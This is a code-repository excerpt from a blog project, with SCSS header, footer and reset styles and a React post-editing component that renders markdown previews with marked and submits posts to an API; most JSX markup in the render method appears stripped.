| .motto{ 74 | width:100%; 75 | position:absolute; 76 | color:#fff; 77 | } 78 | } 79 | } 80 | .header{ 81 | border-bottom:1px solid #fff; 82 | background:linear-gradient( 45deg,#fff , #000 ); 83 | .nav{ 84 | margin-left:130px; 85 | } 86 | } 87 | .header,.footer{ 88 | position:relative; 89 | padding:20px 30px; 90 | $height:100px; 91 | $h:60px; 92 | $sh:40px; 93 | .avatar{ 94 | position: absolute; 95 | border-radius:100%; 96 | .motto{ 97 | position:absolute; 98 | bottom:-20px; 99 | left:0; 100 | } 101 | @media screen and (min-width:$s-screen){ 102 | &,img{ 103 | left:30px; 104 | top:20px; 105 | width:$height; 106 | height:$height; 107 | } 108 | } 109 | @media screen and (max-width: $s-screen){ 110 | &{ 111 | left:30px; 112 | top:30px; 113 | width:$h; 114 | height:$h; 115 | } 116 | } 117 | } 118 | @mixin navScreen($margin,$m){ 119 | font-size:18px; 120 | line-height:if($margin==20px or $m==$m-screen, $height, $sh); 121 | li{ 122 | display: inline-block; 123 | margin:0 $margin; 124 | &.links{ 125 | line-height:$h; 126 | img{ 127 | vertical-align: middle; 128 | width:($h - 10); 129 | height:($h - 10); 130 | border-radius:100%; 131 | } 132 | } 133 | } 134 | } 135 | .nav{ 136 | text-align:right; 137 | $h:60px; 138 | // pc 139 | @media screen and (min-width:$b-screen){ 140 | @include navScreen(20px,$b-screen) 141 | } 142 | //ipad =pc 143 | @media screen and (min-width:$m-screen) and (max-width: $b-screen){ 144 | @include navScreen(10px,$m-screen) 145 | } 146 | //ipad 147 | @media screen and (min-width:$s-screen) and (max-width: $m-screen){ 148 | width:410px; 149 | text-align:center; 150 | @include navScreen(10px,$s-screen) 151 | } 152 | //mobile 153 | @media screen and (max-width: $s-screen){ 154 | font-size:14px; 155 | li{ 156 | margin:0 10px; 157 | display: block; 158 | text-align:left; 159 | &.links{ 160 | line-height:$h; 161 | img{ 162 | vertical-align: middle; 163 | width:$sh; 164 | height:$sh; 165 | border-radius:100%; 166 | } 167 | } 168 | } 169 | } 170 | li{ 171 | a{ 172 | transition:ease .2s; 173 | color: #108ee9; 174 | background: transparent; 175 | text-decoration: none; 176 | outline: none; 177 | cursor: pointer; 178 | &:hover{ 179 | color:yellow 180 | } 181 | img{ 182 | margin-right:1px; 183 | } 184 | } 185 | } 186 | } 187 | } 188 | $blue:#0f88eb; 189 | .search{ 190 | #search{ 191 | height:30px; 192 | transition:ease .5s; 193 | border-radius:2px; 194 | font-size:14px; 195 | padding:2px 4px; 196 | &:focus{ 197 | border: 1px solid $blue; 198 | } 199 | } 200 | } 201 | .footer{ 202 | min-height:140px; 203 | } 204 | 205 | 206 | 207 | 208 | 209 | 210 | 211 | 212 | 213 | -------------------------------------------------------------------------------- /public/css/reset.scss: -------------------------------------------------------------------------------- 1 | // @import './highlight/dark.scss'; 2 | @import './highlight/solarized-dark.scss'; 3 | 4 | @import './header_footer/index.scss'; 5 | 6 | html, body { 7 | color: #212121; 8 | background: #f2f2f2; 9 | min-height: 100%; 10 | height:100%; 11 | } 12 | 13 | body, h1, h2, h3, h4, h5, h6, hr, p, blockquote, dl, dt, dd, ul, ol, li, pre, fieldset, lengend, button, input, textarea, form, th, td { 14 | margin: 0; 15 | padding: 0; 16 | -webkit-margin-before: 0; 17 | -webkit-margin-after: 0; 18 | } 19 | 20 | h1, h2, h3, h4, h5, h6{ 21 | font-weight: normal; 22 | } 23 | 24 | body, button, input, select, textarea { 25 | font: 14px/1.5 "helvetica", "arial","Pingfang",'PingFang SC', "Hiragino Sans GB", "Microsoft Yahei", "STHeiti", "sans-serif"; 26 | } 27 | 28 | /* 29 | h1, h2, h3, h4, h5, h6 { 30 | font-size: 100%; 31 | font-weight: normal; 32 | } 33 | 34 | h2 { 35 | font-size: 20px; 36 | height: 40px; 37 | line-height: 40px 38 | } 39 | 40 | h3 { 41 | font-size: 18px; 42 | font-weight: bold; 43 | height: 60px; 44 | line-height: 60px; 45 | clear: both; 46 | position: relative 47 | } 48 | 49 | h4 { 50 | font-size: 16px; 51 | height: 32px; 52 | line-height: 32px 53 | }*/ 54 | 55 | address, cite, dfn, em, var { 56 | font-style: normal; 57 | } 58 | 59 | code, kbd, pre, samp, tt { 60 | font-family: "Courier New", Courier, monospace; 61 | } 62 | 63 | small { 64 | font-size: 12px; 65 | } 66 | 67 | ul, ol,li { 68 | list-style: none; 69 | } 70 | 71 | /* HTML5 display definitions 72 | ========================================================================== */ 73 | 74 | /** 75 | * Correct `block` display not defined for any HTML5 element in IE 8/9. 76 | * Correct `block` display not defined for `details` or `summary` in IE 10/11 77 | * and Firefox. 78 | * Correct `block` display not defined for `main` in IE 11. 79 | */ 80 | article, 81 | aside, 82 | details, 83 | figcaption, 84 | figure, 85 | footer, 86 | header, 87 | hgroup, 88 | main, 89 | menu, 90 | nav, 91 | section, 92 | summary { 93 | display: block; 94 | } 95 | 96 | /** 97 | * 1. Correct `inline-block` display not defined in IE 8/9. 98 | * 2. Normalize vertical alignment of `progress` in Chrome, Firefox, and Opera. 99 | */ 100 | 101 | audio, 102 | canvas, 103 | progress, 104 | video { 105 | display: inline-block; /* 1 */ 106 | vertical-align: baseline; /* 2 */ 107 | } 108 | 109 | /** 110 | * Prevent modern browsers from displaying `audio` without controls. 111 | * Remove excess height in iOS 5 devices. 112 | */ 113 | 114 | audio:not([controls]) { 115 | display: none; 116 | height: 0; 117 | } 118 | 119 | i { 120 | font-style: normal; 121 | } 122 | 123 | a { 124 | text-decoration: none; 125 | cursor: pointer; 126 | color: #212121; 127 | outline: 0 none; 128 | } 129 | 130 | a:hover { 131 | text-decoration: underline; 132 | } 133 | 134 | a:focus, input:focus { 135 | -webkit-tap-highlight-color: rgba(0, 0, 0, 0); 136 | outline: none; 137 | } 138 | 139 | input:hover { 140 | /*border-width: 1px;*/ 141 | } 142 | 143 | abbr[title], acronym[title] { 144 | border-bottom: 1px dotted; 145 | cursor: help; 146 | } 147 | 148 | q:before, q:after { 149 | content: ''; 150 | } 151 | 152 | legend { 153 | color: #000; 154 | } 155 | 156 | fieldset, img { 157 | border: none; 158 | } 159 | 160 | button, input, select, textarea, label { 161 | font-size: 100%; 162 | vertical-align: middle; 163 | outline: 0; 164 | } 165 | 166 | textarea { 167 | resize: none !important; 168 | } 169 | 170 | table { 171 | border-collapse: collapse; 172 | border-spacing: 0; 173 | width: 100%; 174 | } 175 | 176 | table th { 177 | text-align: left; 178 | } 179 | 180 | hr { 181 | border: none; 182 | height: 1px; 183 | *color: #fff; 184 | } 185 | 186 | img { 187 | -ms-interpolation-mode: bicubic; 188 | border: 0; 189 | outline: none; 190 | } 191 | div { 192 | outline: none; 193 | } 194 | 195 | .t-l { 196 | text-align: left; 197 | } 198 | 199 | .t-r { 200 | text-align: right; 201 | } 202 | 203 | .t-c { 204 | text-align: center; 205 | } 206 | 207 | .f-l { 208 | float: left; 209 | } 210 | 211 | .f-r { 212 | float: right; 213 | } 214 | 215 | .p-a { 216 | position: absolute; 217 | } 218 | 219 | .p-r { 220 | position: relative; 221 | } 222 | 223 | .i-b { 224 | display: inline-block; 225 | } 226 | 227 | .c-b { 228 | clear: both; 229 | } 230 | 231 | .v-middle { 232 | vertical-align: middle; 233 | } 234 | 235 | .clearfix { 236 | zoom: 1; 237 | } 238 | 239 | .clearfix:after { 240 | content: "\0020"; 241 | display: block; 242 | height: 0; 243 | clear: both; 244 | } 245 | 246 | .show { 247 | display: block; 248 | } 249 | 250 | .hide { 251 | display: none; 252 | } 253 | 254 | .visible { 255 | visibility: visible; 256 | } 257 | 258 | .hidden { 259 | visibility: hidden; 260 | } 261 | 262 | .bf, 263 | .bold { 264 | font-weight: bold; 265 | } 266 | 267 | .color-gray { 268 | color: #bdbdbd; 269 | } 270 | 271 | input[type] { 272 | outline: none; 273 | border: 1px solid #ccc; 274 | } 275 | 276 | input[type="button"], 277 | input[type="submit"] { 278 | border: 0 none; 279 | } 280 | 281 | ::-webkit-input-placeholder { 282 | /* WebKit browsers */ 283 | color: #bdbdbd; 284 | } 285 | 286 | :-moz-placeholder { 287 | /* Mozilla Firefox 4 to 18 */ 288 | color: #bdbdbd; 289 | } 290 | 291 | ::-moz-placeholder { 292 | /* Mozilla Firefox 19+ */ 293 | color: #bdbdbd; 294 | } 295 | 296 | :-ms-input-placeholder { 297 | /* Internet Explorer 10+ */ 298 | color: #bdbdbd; 299 | } 300 | 301 | input[type="text"]:focus, 302 | input[type="password"]:focus, 303 | textarea:focus, 304 | .input-focus { 305 | transition: border-color .3s; 306 | } 307 | 308 | input[type="text"]:focus, 309 | input[type="password"]:focus, 310 | textarea:focus, 311 | .input-focus { 312 | /*border-color: #686e71 !important;*/ 313 | } 314 | 315 | button, .Btn { 316 | border: 0; 317 | /*background-color: #e84a01;*/ 318 | /* width: 120px; 319 | height: 32px; 320 | line-height: 32px;*/ 321 | /*color: #fff;*/ 322 | /*border-radius: 2px;*/ 323 | cursor: pointer; 324 | text-align: center; 325 | display: inline-block 326 | } 327 | 328 | button:active, .Btn:active { 329 | /*background-color: #cb4000;*/ 330 | } 331 | 332 | button:hover, .Btn:hover { 333 | background-color: #f16d2f; 334 | text-decoration: none 335 | } 336 | 337 | button[disabled], .Btn[disabled] { 338 | background-color: #d3d5d9; 339 | cursor: default; 340 | color: #fff; 341 | border: 0; 342 | } 343 | 344 | 345 | 346 | -------------------------------------------------------------------------------- /public/js/components/write/index.js: -------------------------------------------------------------------------------- 1 | /* 2 | * @Author slashhuang 3 | * 17/4/18 4 | * 写博客界面 5 | * 因为这块代码只能登陆才可见,所以暂时可以不考虑首屏性能问题 6 | */ 7 | 8 | import React ,{ Component } from 'react'; 9 | import { render } from 'react-dom'; 10 | import { submitBlogApi } from './ajax' 11 | 12 | import { Row, Col,Menu, Input,Select, Button, Icon,message } from 'antd'; 13 | 14 | const Option = Select.Option; 15 | 16 | //markdown 功能 17 | import marked from 'marked'; 18 | import highlight from 'highlight.js' 19 | marked.setOptions({ 20 | highlight: function (code) { 21 | return highlight.highlightAuto(code).value; 22 | } 23 | }); 24 | import Dialog from '../dialog' 25 | export default 26 | class BlogWritePanel extends Component{ 27 | constructor(){ 28 | super(); 29 | this.state= this.initState() 30 | this.storeData = this.storeData.bind(this); 31 | this.submitData = this.submitData.bind(this); 32 | this.newBlog = this.newBlog.bind(this) 33 | } 34 | initState(){ 35 | return { 36 | categoryList:[], 37 | content:"", 38 | previewContent:'', 39 | title:'', 40 | category:{} 41 | } 42 | } 43 | componentWillReceiveProps(props){ 44 | this.setState({...props}) 45 | } 46 | submitData(){ 47 | let { 48 | title, 49 | category, 50 | previewContent, 51 | content 52 | } = this.state; 53 | this.setState({},()=>submitBlogApi({ 54 | title, 55 | category, 56 | content:previewContent, 57 | rawContent:content, 58 | id:this.props.blogId||'' 59 | }) 60 | .then(res=>{ 61 | this.setState({loading:false}) 62 | if(res.error){ 63 | message.error(res.msg); 64 | }else{ 65 | this.dialogRef.handleState(true,res['_id']) 66 | } 67 | })) 68 | } 69 | storeData(obj,callback){ 70 | this.setState(obj,callback) 71 | } 72 | newBlog(){ 73 | location.href='/manage?type=edit' 74 | } 75 | parserHtml(){ 76 | let {content} = this.state; 77 | if(content){ 78 | marked(content,(err,previewContent)=>{ 79 | this.setState({previewContent}) 80 | }) 81 | } 82 | } 83 | render(){ 84 | let { 85 | categoryList, 86 | content, 87 | title, 88 | category, 89 | previewContent 90 | } = this.state; 91 | return ( 92 |
93 | 94 |
95 | 96 | 97 | 文章标题 98 | 99 | 100 | this.storeData({'title':e.target.value})}/> 103 | 104 | 105 | 106 | 107 | 108 | 109 | 选择文章分类 110 | 111 | 112 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | { 141 | this.storeData({content:e.target.value},this.parserHtml) 142 | }}/> 143 | 144 | 145 |
147 |
148 | 149 | 150 | 152 | 158 | 159 | 166 | 167 |
168 | this.dialogRef=dialogRef)}/> 169 |
170 | 171 | ) 172 | } 173 | } 174 | --------------------------------------------------------------------------------